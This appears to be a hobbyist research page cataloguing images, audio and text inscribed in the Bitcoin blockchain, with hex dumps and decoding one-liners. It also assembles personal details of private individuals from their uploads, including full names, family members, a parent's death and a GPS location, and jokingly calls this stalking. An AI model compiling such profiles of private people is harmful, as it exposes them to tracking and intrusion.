EMBII's daughter, Maddy Bobby, (presumably not with Chiharu) is going off to college! Sadface.A #father could not ask for more perfect daughters. I #Love you both so much!! <3 PaMy oldest daugher moves into the dorms tomorrow morning. Dear Mady, You are forever my baby. <3 Pa
Chiharu EMBII and The Atom Sea say Happy Halloween.jpg. Source. Message:
#Chiharu #embii & the #AtomSea #Fargo #NDso their location was: en.wikipedia.org/wiki/Fargo,_North_Dakota
Chiharu.jpg. Source. 
Loraine.jpg. Source. "Loraine" on tx b4b8fe752a258f95b191b8c5426319ee0e8d41d5db53ea2ae18beed141cbb9bd, block 448352 (2017-01-15).
Photographer unknown, but presumably EMBII's father or another close family member.
Message:
In loving memory of Loraine Elizabeth WhiteEMBII's mum died :-(
Cost: ~0.001 BTC ~ $0.80 at the time.
SatoFamily.jpg. Source. This one gives Chiharu's full identity with picture basically. Message:
The Sato Family Arrives from Japan! Taken Aug 2. 2014 in Minneapolis MN. (Keiko, Chiharu, Hideaki, Katsuhiko) Now preparing for the Sato / Bobby Great American Vacation!!so presumably Chiharu's full name is Chiharu Sato.
More from their vacation:
More EMBII social media:
- bitfossil.com/5bfd6eab2df2eb615dd72172408e02e07fddba2f00fed9b80cd66c0b115ee03d/index.htm "Found on Mady's camera", EMBII wearing a funny red suit and drinking orange juice
bitfossil.com/78f0e6de0ce007f4dd4a09085e649d7e354f70bc7da06d697b167f353f115b8e/ in block 273536 (2013-12-07).
This is one of the earliest AtomSea & EMBII uploads.
Nelson-Mandela.jpg. Source. Message:
"There is nothing like returning to a place that remains unchanged to find the ways in which you yourself have altered." - Nelson Mandela Nelson Rolihlahla Mandela was a South African anti-apartheid revolutionary, politician and philanthropist who served as President of South Africa from 1994 to 1999. - Wikipedia Born: July 18, 1918, Mvezo, South Africa Died: December 5, 2013.
The toplevel transaction is 78f0e6de0ce007f4dd4a09085e649d7e354f70bc7da06d697b167f353f115b8e
Like all AtomSea & EMBII uploads, the data it is encoded as P2FKH.
The full concatenated payload contains the following ASCII characters:
8881a937a437ff6ce83be3a89d77ea88ee12315f37f7ef0dd3742c30eef92dba|396*8881a937a437ff6ce83be3a89d77ea88ee12315f37f7ef0dd3742c30eef92dba
575061146335bd57f2dc132112152d0eeea44cf187ea6a52ac02435a7e5bea44
674c7cc34ea44bb276c6caf76f2b28fa1597380ab6e6a6906076d8f7229ca5b3
8e2642416ad20924b43f51a633fa1c0a5ba8e4a7b631877db1c64540a42081c9
a3084018096b92af04df57b6116e01ff4b7c7e8bd228235ed49e23f4a2817029
39348722b841afa0c5b67e5af10839afe965ed1b24874e89336bea9fa4ef3091
tomSea & EMBIIOutput 2 is a change, so it contains no data and has been excluded. Change appear to be randomly placed in the list of output of the uploads, but they can be easily removed because they are the only output with a different value.
The newlines shown above are explicitly encoded as CR LF newlines with characters 0d 0a.
396 is the number of payload bytes between 396*8881a937a437ff6ce83be3a89d77ea88ee12315f37f7ef0dd3742c30eef92dba and the last txid 39348722b841afa0c5b67e5af10839afe965ed1b24874e89336bea9fa4ef3091, including newlines but exclusding the last line.The last line appears to contain arbitrary data to fill out the 20 byte payload granularity:
Ais missing fromAtomSea- there is a NUL character just after EMBII, possibly part of the protocol?
Now let's inspect the transactions linked to from toplevel.
tx 8881a937a437ff6ce83be3a89d77ea88ee12315f37f7ef0dd3742c30eef92dba contains only payloads without any change. It starts with the following UTF-8 string with CR LF spaces;
"396\“There is nothing like returning to a place
that remains unchanged to find the ways in
which you yourself have altered.”
-Nelson Mandela
Nelson Rolihlahla Mandela was a South African anti-apartheid revolutionary, politician and philanthropist who served as President of South Afrd۽^2c'︨`ica from 1994 to 1999. -Wikipedia
Born: July 18, 1918, Mvezo, South Africa
Died: December 5, 2013396 is once again the number of payload bytes present in that string.This is immediately followed without any separator by a filename, and another size marker:
then followed by all the
Nelson-Mandela.jpg?14400/14400 - len(Nelson-Mandela.jpg?) + len(/) JPEG bytes bytes, starting with the two JPEG file signature byte "FF D8".Further toplevel transaction payloads are then simply concatenated with the previous ones, until the last bytes of the image "FF D9" appears at the end of the payload.
padded once again by an
00000430 d2 81 de 80 0c 52 f1 40 ea 29 68 03 ff d9 6f 6d |.....R.@.)h...om|
00000440 53 65 61 20 26 20 45 4d 42 49 49 00 |Sea & EMBII.|AtomSea & EMBII string fragment terminated by a NUL character.tx e3e37ed5c1de2631c147bd39429e42ff634e95b7d72423bc32d6c6b9d8eef8ee (2014-07-01):
For my first official Journal entry I've decided to archive some old poetry. Here are a few of the computational poems I've created using cyphers.
Shiemaa&Vincent.jpg. Source. Message:
"Even if we tried to do it on purpose, never would have we succeeded." My beloved Vincent.TODO identify Shiemaa and Vincent.
tx 36d0d77acd760f0aa549b6b314f0c1e9690baa6bcc2d0f07ea9f3167f4a5ec99, block 318836 (2014-09-03)Cost: ~0.002 BTC ~ $0.77 at the time.
Several other interesting uploads were also made around block 318836 (September 2014):
RedRaven.jpgbitfossil.org/e17b83234402d85f3a18207eec11bc5c4397f88aa880aae4fb7d15802806a971/index.htmEarth3Archive.jpgbitfossil.org/ae8d3b46b934bedc363e11abe8c8607171994470957c286274f699a0b3a9bbd7/index.htmSkyEarth5Archive.jpgbitfossil.org/ae8d3b46b934bedc363e11abe8c8607171994470957c286274f699a0b3a9bbd7/index.htm
BikeLady.jpg. Source. Bike Lady by Allen Lee Vandever. tx 2c4b9497af8c0c0eb9383357b40c3de33dba0b4f481099a32719f2b9036da8e7, block 319927 (2014-09-10)
Arecibo_message.svg. Source. Arecibo message on tx c6d2e535cd2ba4659e954a61198c66fd98c60f6475cf8ff92a404f3fe3a16c4b, block 337874 (2015-01-07)
An "artificially" colored visualization of the Arecibo message ripped from Wikipedia: en.wikipedia.org/wiki/File:Arecibo_message.svg (with attribution).
The cool thing about this image is that it highlights the striking parallels between the encoding of the Arecibo message with crypto graffiti, because in both cases people were creating undocumented new ways of communicating with strangers on a new medium in those early blockchain days.
The associated message contains the Arecibo message as ASCII 0's and 1's. When properly cut at the newlines, they draw the message as ASCII art, as the original Arecibo encoding intends, here's a version with the 0's replaced by spaces to make it more readabale:
1 1 1 1
1 1 1 1 1
1 1 1 1 1 11 1
1 1 1 1 1 1 1 1 1 1
11
11 1
11 1
1 1 1
11111
11 111 11 11
1 11 1
11 1 11 11 11 1
11111 11111 11111 11111
1 1
1 1
11111 11111
11 11 111 11
1 1 1
11 1 11 111 11 1
11111 11111 11111 11111
1 11 1
11
1 11 1
11111 11 11111
11
1 1 1
1 11 1
11 11 1
11 1 11
11 11
11 1 11
11 11 1
1 1 1
1 11 1
1 11 1
1 1 1
1 1 1
1 11
11 11
1 111 1 11
1 1
1 11111
1 1 111 1 1 11 11
1 111 1 111111
1 111 111 11 111
1 1 111 11
1 1 1 111111
1 1 1 11
1 11 11
111 1
111 1 1 1 1 1 1 1 1
111 1 1 1 1
1 1
11111
111111111
111 111
11 11
11 1 1 11
11 11 11 11
1 1 1 1 1 1
1 1 1 1 1 1
1 1 1 1
1 1 1
1 1
1 1 1
1111 11111 1 1111
He sleeps in a temple.jpg. TODO identify. Novel work by EMBII? TODO we need a geocacher to find it, some city in North America no doubt. tx 460ed23bea89176cdfe18e13fce51ad5386ad8e3e1f7d6f5b4711b3be97b0502, block 360565 (2015-06-12)
Associated message:
NASA: A purple nebula, in honor of #Prince, who passed away today. Image: Crab #Nebula, as Seen by Herschel and #Hubble Image credit: ESA/Herschel/PACS/MESS Key Programme Supernova Remnant Team; #NASA, ESA and Allison Loll/Jeff Hester (Arizona State University) #PIA17563
Associated message:
Is #Satoshi #Nakamoto #CraigWright? #SatoshiNakamoto #Craig #Steven #Wrigh
The image is present e.g. at: www.kitguru.net/channel/jon-martindale/australian-man-claims-he-is-satoshi-nakamoto-bitcoin-creator/ It was inscribed about two months after Craig publicly claimed that he is Satoshi.
This is a relatively unusual AtomSea & EMBII upload as it does not have the common toplevel transaction, everything, text + image fits into a single transaction. This is perhaps why the image is relatively low resolution to have a smaller size.
YellowRobot.jpg. Source. Yellow Robot on block 450516 (2017-01-29)
Photography by EMBII, original art by TODO.
The associated message reads:
Chiharu and I found this little yellow robot while exploring Chicago. It will be covered by tar or eventually removed but this tribute will remain. N 41.880778 E -87.629210This is one of Ciro's favorite AtomSea & EMBII uploads. This is the cutest thing ever, and perfectly encapsules the "medium as an artform" approach to blockchain art. More Chiharu stalking at: ILoveYouMore.jpg.
At twitter.com/EMBII4U/status/1615389973343268871 EMBII announced that he would be giving off shares of that image on a Bitcoin-based NFT sale system he's making called Sup!?, and in December 2023 gave some shares to Ciro Santilli. Amen.
Other possibly novel EMBII street photography:
- bitfossil.com/f2efd446475ad58a3ea808cc0f05a63c55cece9fced70d84799a1ffce5d307e4/index.htm "I will not Stop until the Finite becomes the Infinite."
Audio:
alien.wavblock 318638 bitfossil.org/a3a24d6ea01ce481a50346818b8977220687f3ba385838fe8894ce61c9718bbc/OneGiantLeapForMankind.mp3at tx 4f5b25fa8021c67235423930580e69121aa0d2c2bb779f75139bf442f8dc7297 EMBII-indexed at 743f3286b00fc96c13db4b16d5aead8a1e059fee9ce775b1761be9be5bdc2501 and then indexed at: 0427ec598df38b7d7dc75721316c0bbdec54de4871e11aff8ea64f3717c07efbThe toplevel index does appear on Bitfossil: bitfossil.org/0427ec598df38b7d7dc75721316c0bbdec54de4871e11aff8ea64f3717c07efb/index.htm but the audio is not there as it was for Spock below, maybe a bug on upload/Bitfossil?Spock_Live_Long_And_Prosper.mp3block 345858 bitfossil.org/1bc87dbff1ff5831287f62ac7cf95579794e4386688479bab66174963f9a4a0c/index.htm. Audio of Mr. Spock saying the Vulcan salute.OuterSpace.mp3block 409471 bitfossil.org/c14c1bd862bab6269052bf0a2cda7a35940d7a2d9c3415d4fb8fb8dcb9394fae/ "Outer Space by embii 4MB Large file storage test Apertus 0.3.5-beta" OMG, I don't want to calculate how much it cost to upload this, it will make me sad.At twitter.com/EMBII4U/status/1655969645927563266 EMBII mentions that this inscription, made by him, is the largest inscription he knows of.TODO song composer/performer?- bitfossil.com/c2b170ff450f4529dfbd784e0cf5cdddaca494e67a243dd846c0a9450a5558af/ (2021-03-13) contains
Seikilos.mid, a MIDI file
Interesting text:
- block 273522 bitfossil.org/70fd289901bae0409f27237506c330588d917716944c6359a8711b0ad6b4ce76/index.htm pi to 1000+ decimal digits:
- bitfossil.org/8522787e7e49f3f3b6a9f9e86bc30336d26a3acbaecc93809d2e8b4bb1c4d611/ "Antarctic Ice Cores Revised 800KYr CO2 Data" evidence for global warming
- bitfossil.org/ffa6893a70bcde9b940df9823e0f597f0b6cff964c78473c77db838655e1aeb5/ en.wikipedia.org/wiki/Laudato_si', global warming related
HTML pages:
- block 335290 bitfossil.org/0166db6053f1969c28de8b1f9a8fa4ec890cc4bdfee7602757993b306bb7f295/ JavaScript animated timer clock counting down until the start of the next year
- block 340379 bitfossil.org/062990d54045a9c316110fb713009d1313b2f64c4b216d66891c7284d6c1ca0e/ links to bitfossil.org/062990d54045a9c316110fb713009d1313b2f64c4b216d66891c7284d6c1ca0e/bong-ball.html and has a working JavaScript Pong
- block 328445
tom-signature.jpgbitfossil.org/daa050bf8ac22752e40412c9265b4533f68ab8e6ed26d2db1eeee6710e7d9e4b/index.htm Unrendered HTML of:Likely an obituary for: Thomas L. Magliozzi. Images show fine though.- www.cartalk.com/content/tom-and-rays-bios-photos-2
- www.cartalk.com/content/rant-and-rave-36 "The New Theory of Learning" which agrees perfectly with backward design
- block 401648 bitfossil.com/31c5e5336512568e4a1deb4bbf0e57c3565c32094c0e1a118c48e7929ab49e35/bong-ball.html another one! This one is full-screen, and does not have JavaScript
alerts :-) - block 401657 bitfossil.org/03cb74f270d498302d4dd9cbe82c090d801c8840ab6cb26b71d862489b981db8/ has a JavaScript Pac-Man
For a detailed analysis of one transaction see: Nelson-Mandela.jpg.
Best guess so far, all in ASCII hex of output scripts:
- remove the single output value different from first one from payload, that's the change, and it is randomly placed as far as I see
- 64 bytes: hex address of top level text
- 1 byte: some random punctuation
- decimal number of bytes of some payload
- 1 byte: some random punctuation
- 64 bytes: same as the first address
- CR LF
- ends in NUL
In this section contains a list of images we could find that wre uploaded as raw data to the blockchain, without any special encoding, e.g. as done by the AtomSea & EMBII system.
It is possible that some/most of those were uploaded via the cryptograffiti.info system, but since that indexer stopped working, and since the format is so non-specific, it is not possible be sure as far as we can tell.
These images were indexed by looking for standard transaction output script hashes that contain JPEG or PNG images immediately on the first payload byte based on file signature bytes and indexed/easily downloaded at github.com/cirosantilli/bitcoin-inscription-indexer#image-indexing-and-download.
200f3f6f8a91ae438d1924e5cedca98cea7f0197b9eba11343948b5621ca19ed, block 331804 (2014-11-27) JPEG in Gzip as a single input script constant.
This ad highlights one of the claimed potential advantages of Bitcoin: cheaper/faster cross border transactions.
This inscription is highlighted at Data Insertion in Bitcoin's Blockchain by Andrew Sward, Vecna OP_0 and Forrest Stonedahl. Finding Gzips with binwalk is hard because the file signature is only 2 bytes long (1F 8B), so there are lots of false positives.
Gzip binary uploaded at: raw.githubusercontent.com/cirosantilli/media/master/bitcoin-inscription-indexer/data/bin/200f3f6f8a91ae438d1924e5cedca98cea7f0197b9eba11343948b5621ca19ed.jpg.gz gunzip 1.12 complains:
but we were not able to fix that: removing bytes at the end goes straight from "trailing garbage" to "incomplete file" after a certain byte.
western-union-bitcoin-spoof.jpg.gz: decompression OK, trailing garbage ignored
tx b70bfe6a9b314611655554576feb11f15d47b9e80c5993e91829bb87895ef23c, block 355899 (2015-05-11). PNG inscribed as a Daisy chain Bitcoin inscription using OP_RETURN.
The daisy then follows up to the Figure 3. "City of London School logo", which therefore must be by the same uploader..
tx 6ab2f3dbff0ebd856f6cf0360fc7db987f8789508dfdefdcc1f9e2aacf9ac0de, block 355901(2015-05-11). PNG inscribed as a Daisy chain Bitcoin inscription using OP_RETURN.
This image is encoded on the very same daisy chain as Figure 2. "The Economist logo", immediately afterwards.
Furthermore, we understand that they used the following convention to "split them up":
- paylout in vout 0: continue image
- payload in vout 1: end of image
The transactions leading up to b70bfe6a9b314611655554576feb11f15d47b9e80c5993e91829bb87895ef23c contain multiple text daisy inscriptions that show up on our text dumps at: github.com/cirosantilli/bitcoin-inscription-indexer/blob/e716e317b703e1bad63edf5064f90f5e80c5aaf5/data/out/0355.txt#L635
- 5256d3059520c9ecda22bcf17776adcc962a5ae90333efbb00cf45818e9bf0bb:
You're poo you're papa, says WeeWaWeeWa
then a quote from bitcoin.org/en/faq (archive):Bitcoin is the first implementation of a concept called "cryptocurrency", which was first described in 1998 by Wei Dai on the cypherpunks mailing list, suggesting the idea of a new form of money that uses cryptography to control its creation and transactions, rather than a central authority. The first Bitcoin specification and proof of concept was published in 2009 in a cryptography mailing list by Satoshi Nakamoto. Satoshi left the project in late 2010 without revealing much about himself. The community has since grown exponentially with many developers working on Bitcoin.
then:And now, via JSON-RPC!
- d6b006f3cd9b545d5015263e954dae7c52c71bb5f4a0573918ff0e1ce8785de4 contains another quote from bitcoin.org/en/faq (archive):
Much of the trust in Bitcoin comes from the fact that it requires no trust at all. Bitcoin is fully open-source and decentralized. This means that anyone has access to the entire source code at any time. Any developer in the world can therefore verify exactly how Bitcoin works. All transactions and bitcoins issued into existence can be transparently consulted in real-time by anyone. All payments can be made without reliance on a third party and the whole system is protected by heavily peer-reviewed cryptographic algorithms like those used for online banking. No organization or individual can control Bitcoin, and the network remains secure even if not all of its users can be trusted.
followed by:One day this will be for general storage
- d9450fbd228d7a19d08f700d43200184b0d46561ffd7eb9ddbb378435ec66789 says:
Let's agree on 5MB blocks and move on?
These inscriptions were made right in the midst of the protests against larger block sizes. - a689707f77882eb5a3b1954747f159b1c22b688a57ec17b4d636b7f94e451e3d
a single piece of data
then the intro from bitcoin.org/en/ (archive):Bitcoin uses peer-to-peer technology to operate with no central authority or banks; managing transactions and the issuing of bitcoins is carried out collectively by the network.
then:It's my cake day. I pressed the button. I have no regrets. Just stick it on the blockchain
Parents daisy more text visible on our text dumps: www.blockchain.com/explorer/transactions/btc/b70bfe6a9b314611655554576feb11f15d47b9e80c5993e91829bb87895ef23c
<img src="data:image/png;base64,
A heart next to a bitcoin logo and written "we love bitcoin". Reproduced at: kryptomoney.com/grayscale-report-institutional-investors-retirement-funds-love-bitcoin/
Embedded in the image itself, there's a message in the header comments:
Bitcoin uses peer-to-peer technology to operate with no central authority or bankswhich is the opening paragraph of: bitcoin.org/en/
tx b673c7d0c62cce8315ad6cc63a2c8ca8169bf73432435760b808735e1a7fe0e2, block 401255 (2016-03-05). JPEG encoded with daisy chain Bitcoin inscription using OP_RETURN.
The image data is cut in half. This makes the image an invalid JPEG, but ImageMagick is able to recover and convert to a valid image which is what we show here to make it portable to more browsers. The raw invalid image is present at: raw.githubusercontent.com/cirosantilli/media/master/bitcoin-inscription-indexer/data/bin/b673c7d0c62cce8315ad6cc63a2c8ca8169bf73432435760b808735e1a7fe0e2.jpg, but it can also be generally viewed by most viewers.
This embedding uses a novel more specialiezd protocol on top of a raw daisy chain Bitcoin inscription.
THe daisy actually starts at f49e79889b34d355fa8a02f13b9db4ed69c067f975e25339737ef10e4b993d7a and data is encoded as follows:
OP_RETURN 62 00000000 48656c6c6f20776f726c64212052657475726e20626c6f622070726f746f636f6c2076
OP_RETURN 62 00000001 313a204d41474943203d20307836322c205041434b414745203d2075696e7431362c20
OP_RETURN 62 00000002 53455155454e4345203d2075696e7431362c205041594c4f4144203d20757020746f20
OP_RETURN 62 00000000 48656c6c6f20776f726c64212052657475726e20626c6f622070726f746f636f6c2076
OP_RETURN 62 00000001 313a204d41474943203d20307836322c205041434b414745203d2075696e7431362c20
OP_RETURN 62 00000002 53455155454e4345203d2075696e7431362c205041594c4f4144203d20757020746f20
OP_RETURN 62 00000003 33352062797465732e0a
OP_RETURN 62 00010000 ffd8ffe1001845786966000049492a00080000000000000000000000ffec0011447563
OP_RETURN 62 00010001 6b79000100040000003c0000ffe1039a687474703a2f2f6e732e61646f62652e636f6d
OP_RETURN 62 00010002 2f7861702f312e302f003c3f787061636b657420626567696e3d22efbbbf222069643d
OP_RETURN 62 00010003 2257354d304d7043656869487a7265537a4e54637a6b633964223f3e203c783a786d70
...
OP_RETURN 62 00010085 51290358a41fe5408b4435254208d4810a5fe9113044c1ae3aa544656d729756395b87
OP_RETURN 62 00010086 c4e261f55c5d19e1c792c3f78adff1368db58e5a0bb85b2c6753c42de6d973edae0642
OP_RETURN 62 00010087 1b2c8370f203aaa0a6eb7ea0871d8e9ae6534b785b57347171e4df6a5463d7ce77b93b
OP_RETURN 62 00010088 9b8bf96edd1b982e2474a41ad28e3c01e74586d1d1ad7a874c5a1b7c742d2285c371f6The first block is:
Hello world! Return blob protocol v1: MAGIC = 0x62, PACKAGE = uint16, SEQUENCE = uint16, PAYLOAD = up towhich then gets repeated, probably an error, but now with the sentence completed:
Hello world! Return blob protocol v1: MAGIC = 0x62, PACKAGE = uint16, SEQUENCE = uint16, PAYLOAD = up to 35 bytesThis therefore gives us the name of the protocol as "return blob protocol". We also understand that the 0x62 was aconfiguration parameter.
ffd8ffe1 marks the start of the JPEG.If the rest of the image were inscribed somewhere random in the blockchain, we'd expect to find the string
6200010089 containing the netxt data chunck on a nearby block, but bgrep did not find it, so perhaps the data just isn't there.The last tx of the daisy is 43b182065ab2c7d1908ec3cee756d9f626c1e4bd1efa17a7c3993433b653d499 which is followed by 9e6838a3545bd59a708d0c177d6840c7d82b8ac6220138ca3d8133a1376405aa which does not contain any data.
Hyena was here on the 16th of June 2016.and:
Hi mom! I love you.
www.badtaxidermy.comand:
Cryptograffiti.info now allows you to attach JPEG images to your messages.
Smart Heating, Bitcoin Mining For You - en.hotmine.io
which is a reference to Nada's original dialogue:I have come here to chew bubble gum and dance on Ethereum's grave.And I'm all out of bubble gum.
I have come here to chew bubblegum and kick ass... and I'm all out of bubblegum.
Subscribe, I will be glad to see you! www.youtube.com/c/dobcryptocurrency
tx 609d5e0f968c0ab7abc2be21468cfd552483d38b08e6df23d27766eb61b9be3c, block 417131 (2016-06-20) via cryptograffiti.info.
A white man and a Chinese woman wearing Chinese traditional dressess holding hands, presumably a token from their wedding. A Chinese poem is visible next to them, with four vertical setences made up of 7 characters each, to be read from right to left. This is a classic Classical Chinese poetry form known as qijue.
A photo of a snowy mountain is shown in the background, fitting the theme of the poem. It looks like an European mountain, possibly Mont Blanc? TODO identify. Perhaps a reference to the nationality of the husband.
TODO transcribe the Chinese text, cursive grass script + traditional characters + ultra-low res put this beyond Ciro Santilli's capabilities/patience ratio. Ciro Santilli's wife's transcribed gave the first column as:
丹珍默然藏山中and no Google hits, so maybe an original poem? What a hero. TODO transcribe the rest.
A scarlet gemstone hides quietly in the midst of the mountains.
The image file contains the English transalation of the Chinese poem embeded into it:
A scarlet gemstone hides quietly in the midst of the mountains.TODO embedding method, does not show up on ExifTool.
Its beauty softly enters the wanderer's dreams.
Fame and fortune become like drifting clouds
But the gem endures like the constellations above.
Superbuffo the first comedian on the blockchain
You will be here forever
No alcohol and smoking since 07.07.2016. Love girls!
Wedding Wallled 15Nz214yv76BmkKLCi8kAVssa5C7nQHLjx
tx 10cc5d45396ba271659a4b00d2f70c433533227e5f7ea30bb5bd3c8563d7468a, Block 421280 (2016-07-18) via cryptograffiti.info
Wedding picture with people holding "Blockchain" and "Ipa" signs.
Reproduced at: web.archive.org/web/20200926150213/https://freebitcoins.com.ua/zapushhen-ukrainskij-bitkoin-pul-bitcoinukraine/ Google translate:
One of the initiators of the launch of this pool was Oles Slobodenyuk, who earlier created a grocery store in Kiev accepting bitcoins, arranged a TakeMyBitcoin flash mob, and also registered his own marriage in the bitcoin blockchain on the weddingbook.io website.
Oles is for example featured at: uk.sports.yahoo.com/news/bitcoin-miners-heating-homes-free-133053106.html Bitcoin Miners Are Heating Homes Free of Charge in Frigid Siberia by Anna Baydakova (2019)
The image file contains the following text embedded into it:
<Wedding date: Jul 17, 2016 proof link goo.gl/photos/2GToBx1WqRyiQtxQ6The link is dead of course.
2016, painting, 135.7 x 130.7 cm (18 DPI)
Wedding contract written in Czech. Transcription and translation by Petr Kadlec:
Svým podpisem pod tímto textem potvrzuji, že Daniela Dudysová a Pavel Urbaczka v mé přítomnosti dne 20.8.2016 v Ropici projevili vůli uzavřít spolu manželství, přičemž ani jeden z těchto projevů se mi nejevil jako nesvobodný, nikoliv vážný, nesrozumitelný, omylný nebo uzavřený v tísni.Translation:
With my signature under this text, I confirm Daniela Dudysová and Pavel Urbaczka have, in my presence on 2016-08-20 in Ropice, expressed the will to enter marriage, whereas neither of their expressions seemed to me to be non-free, not serious, in error, or under distress.Signatures:
Tereza (unreadable) Hana (unreadable) Jakub (unreadable) Radim Kozub (unreadable) (unreadable) Lenka (unreadable)
Petr also conjectures that Jakub may refer to Jakub Olšina from Blockchain Legal. Figure 23. "Wedding on grass" on the same block contains a image of a wedding, presumably the same of the contract. The photo of the man might be the same person as www.linkedin.com/in/olsinajakub/, but a bit younger.
tx 693848d56098a0ad16736bea7f24336c9b47a7f0a6f776659e8d01f00b46af76, block 426072 (2016-08-20) via cryptograffiti.info.
The file contains the following text embedded into it:
Danila a Pavel se právě vzali!which is Czech for:
Danila and Pavel just got married!So it is a followup to Figure 22. "Hand written contract".
#CAD users all over the world are designing in the cloud! Join them by creating a #free Onshape account: hubs.ly/HO3vJ6tO. tx c0bb963cb3ceffc49059f09db94e3fd73caa3b7a8e005160d49e99020ff6b51a, block 426832 (2016-08-25) via cryptograffiti.info. Embedded text:@Onshape - The Future of Professional CAD
In Pepe We Trust
#BITCOINPEPE
Which translates as:Entre tus brazos y los míos
no hay espacio, tan juntitos
estamos que los pensamientos
son uno.A veces somos casi dos desconocidos,
raros tan raros cómo distintos,
pero nos engañamos, tú lo sabes yo lo sé,
en realidad somos muy dentro
la misma verdad.Escondidos en tus ojitos
duermen mis sueños más hermosos,
cuándo los abres frente a mi
se despiertan alegres y rumbosos.
Not easy Google hits so possibly novel.Between your arms and mine
there is no space, so close together
we are the thoughts
They are one.Sometimes we are almost two strangers,
strange as strange as they are different,
but we deceive ourselves, you know it, I know it,
actually we are very inside
the same truth.Hidden in your eyes
my most beautiful dreams sleep,
when do you open them in front of me
They wake up happy and cheerful.
See also: Section "China".
Searching for the image hash ca4f11131eca6b4d61daf707a470cfccd1ef3d80a6f8b70f1f07616b451ca64e leads to archive.4plebs.org/pol/thread/191157608/#q191162145 which links to cryptograffiti.info/#ca4f11131eca6b4d61daf707a470cfccd1ef3d80a6f8b70f1f07616b451ca64e.jpg suggesting that this upload was made with cryptograffiti.info, or at least was indexed by it. But that link is not working as of 2021.
Mr. Burns from The Simpsons showing a sign:
Don't forget, you're here foreverStill from S06E13 of The Simpsons. A reference to the immutability of the blockchain.
This transaction is given at Data Insertion in Bitcoin's Blockchain by Andrew Sward, Vecna OP_0 and Forrest Stonedahl. We've decoded it with:
TODO understand the encoding better. Our indexing scripts Bitcoin Inscription Indexer missed it because the image is encoded on starting on the second constant of the input script and not the first.
btc getrawtransaction 94e319d09fc236fb9d7a24e60af8f47ed41ca3cc01e9950c925d806153ed8aa3 true | jq -r '.vin[].scriptSig.asm' | sed -r 's/^[^ ]+ //' | sed -r 's/ [^ ]+$//' | tr -d '\n' | xxd -r -p > tmp.jpgThis was missed by binwalk because it does not index the valid JPEG signature "ffd8ffdb"... we should patch it... github.com/ReFirmLabs/binwalk/blob/cddfede795971045d99422bd7a9676c8803ec5ee/src/binwalk/magic/images#L107
First tx 1e347cf7521a1318ef31af4f5758efbc45f1bb2a7db9bc1cc469bfe93599eaf7 sets up 48 P2SH outputs and gives ASCII message
Augustana College Old-Main.jpg Reconstruct with data preceding redeemscripts
Then tx 033d185d1a04c4bd6de9bb23985f8c15aa46234206ad29101c31f4b33f1a0e49 redeems those with 48 input scripts that encode the image with ASCII message:
Augustana College Old-Main.jpg Reconstruct with data preceding redeemscripts
Encoded with Two-stage P2SH inscription. Mentioned at: Data Insertion in Bitcoin's Blockchain by Andrew Sward, Vecna OP_0 and Forrest Stonedahl. See also this ASCII art by the same authors: Code "Study Math and Computer Science at Augustana College". Previously mentioned at: twitter.com/ottosch_/status/1735297943563837726
Adobe Acrobat PDF FilesAdobe® Portable Document Format (PDF) is a universal file format that preserves all of the fonts, formatting, colours and graphics of any source document, regardless of the application and platform used to create it.
tx 225ed8bc432d37cf434f80717286fd5671f676f12b573294db72a2a8f9b1e7ba, block 685647 (2021-05-31) Stored on SegWit. Googling leads to this hit: github.com/aureleoules/bitcandle by French programmer Aurèle Oulès which is an obscure uploader not known to us before this transaction was found.
tx 8dc2785335c59df6c00257f9b20e5df9b932a717f97066b279e292faba71a67a on block 685737 contains another one, but with a slightly different encoding, presumably Aureole was trying out different things.
tx 3110f49fb6047d62e6fa198a0a4b180d9abf7075d6f29472747990ae286295cb, block 690497 (2021-07-10). JPEG using P2FMS
This P2FMS has the peculiarity that each payload constant is preceded by a
04 byte which must be thrown away, we've decoded it manually with:
bitcoin-core.cli getrawtransaction 3110f49fb6047d62e6fa198a0a4b180d9abf7075d6f29472747990ae286295cb true | jq -r '.vout[].scriptPubKey.asm' | head -n-2 | sed -r 's/^....//;s/ 3 .*//' | tr -d ' \n' | xxd -r -p > tmp.jpgThis transactions is also mentioned at: github.com/bitcoin/bitcoin/pull/28400 "Make provably unsignable standard P2PK and P2MS outpoints unspendable"
tx cad2c46b0f7feb56191f2ab7d8ed59184615cbf0ca46af8c8b5a21a2045a42d2, block 724270 (2022-02-21). Inscribed with P2FKH.
The payload starts with:
7b260000 before the acutal GIF, which is why we hadn't found it before using binwalk. TODO what do those bytes mean?The last payload uses OP_RETURN and encodes the ascii filename:
BTGC:satoshi.gifTODO what is BTGC?
data:image/jpeg;base64TODO decode:
- get all from Data Insertion in Bitcoin's Blockchain by Andrew Sward, Vecna OP_0 and Forrest Stonedahl, some are missing. TODO list then explicitly here
- 6fa03193609f6506c2fa76540fa9930adf68d50b21c942434a90486a694ccacd contains a JPEG in its input script but a bit broken. The script contains a single constant. We could not decode it by looking at nearby transactions either
twitter.com/cryptograffiti (marked as joined March 2014)
Bitcoin blockchain image indexer and uploader. Uses fake P2PKH address.
At some point it stopped using Bitcoin mainline and moved to Bitcoin Cash instead: www.newsbtc.com/news/bitcoin/cryptograffiti-rejects-bitcoin-core-bch-now-available-payment-method/ and therefore became useless. Existing indexes seem to have been broken as well.
Also, based on the timing of Figure "Erich Erstu", this service may be responsible for a large part of the raw JPEG images present in the blockchain from block 416527 (2016) onwards. This is also suggested by the comments at Figure "Tank Man".
A Quantitative Analysis of the Impact of Arbitrary Blockchain Content on Bitcoin gives the interesting insight that all its transactions seem to return change/fees to one or two given addresses, thus making it very easy to list all their uploads if they were consistent! So all we need are some starting points, which we have mostly due to ASCII mentions of the site on known inscriptions, all of which have a few common spent addresses at the very end:so we just have to solve get all Bitcoin transactions from and to a given address and we are done. Blockchair shows about 800 entries as of February 2024, between 4f94f97eb156b8563a213bb292314a0bd9c95b39afc521fc5965d050daab2a78 (2014-03-02) and ac5f4ea03597b43a72fb8ab42bd5384629f87f4f4abc534f38b8c15148ccaf9f (2017-10-12): blockchair.com/bitcoin/outputs?s=time(desc)&q=recipient(1MVpQJA7FtcDrwKC6zATkZvZcxqma4JixS)
- 4c903a377addab7c1e35a685d3dabc664199e406374b1e5ce2fc59e78fb5b754: 1MVpQJA7FtcDrwKC6zATkZvZcxqma4JixS
- 87aad85c6cd75a516789f364637d243c668e3424d031ae510e43c6edfe6ed206: 1MVpQJA7FtcDrwKC6zATkZvZcxqma4JixS
- c206e8fff656f07b27dac831ef9b956792bae4e76a2cb43f14f49f0298bf2c2f: 1MVpQJA7FtcDrwKC6zATkZvZcxqma4JixS
